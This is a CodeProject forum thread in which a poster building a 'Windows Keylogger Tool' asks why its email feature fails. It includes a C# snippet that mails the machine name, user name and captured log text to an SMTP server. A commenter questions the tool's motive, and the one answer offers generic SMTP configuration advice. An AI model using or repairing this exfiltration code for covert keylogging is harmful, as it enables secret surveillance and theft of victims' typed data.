Click here to Skip to main content
15,905,612 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
Hi All,
Its my first post on msdn, because I have not found any solution for the issue I am having any where else.
I was working on a keylogger tool. It have several features. One of them is sending mail on user provided credentials.
It was working fine for me. Suddenly after few day its failing to send mails now. But if I copy same code and create a demo application with same user credentials it will work. So surely I think no issue with code. My code is looks like this.
C#
SmtpClient SmtpMail = new SmtpClient(txtMailServer.Text.Trim(), Convert.ToInt32(txtPort.Text.Trim())); 
 

MailMessage mailMessage = new MailMessage(txtUser.Text.Trim(), txtUser.Text.Trim()); 
mailMessage.SubjectEncoding = Encoding.UTF8; 
mailMessage.Subject = "Windows Keylogger Tool"; 
mailMessage.IsBodyHtml = true; 
mailMessage.BodyEncoding = Encoding.UTF8; 
mailMessage.Priority = MailPriority.High; 
SmtpMail.EnableSsl = true; 
SmtpMail.Credentials = new System.Net.NetworkCredential(txtUser.Text.Trim(), txtPass.Text.Trim()); 

StringBuilder mbody = new StringBuilder(); 
mbody.Append("Machine:" + Environment.MachineName + ":" + Environment.UserName + " Time:" + DateTime.Now + Environment.NewLine); 
mbody.Append(Environment.NewLine + message); 
mailMessage.Body = mbody.ToString();

//send test mail
SmtpMail.Send(mailMessage);


Now I can not figure out whats the issue here. I tried using different credentials. Its just not working and I am kind of no brainer now.
Please help me.
Posted
Updated 9-May-11 6:01am
v3
Comments
Sandeep Mewara 9-May-11 12:10pm    
Its my first post on msdn,
MSDN? This is CodeProject... copy-paste? :)
Sandeep Mewara 9-May-11 12:12pm    
BTW,
1. Where did you do the SMTP configuration?
2. Your motive of the tool is totally doubtable. :doh:

1 solution

most probably the credentials that work locally may not work in actual deployment environment. And you need to check your smtp settings as well for deployment environment. You may need to ask you net provider for smtp settings.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900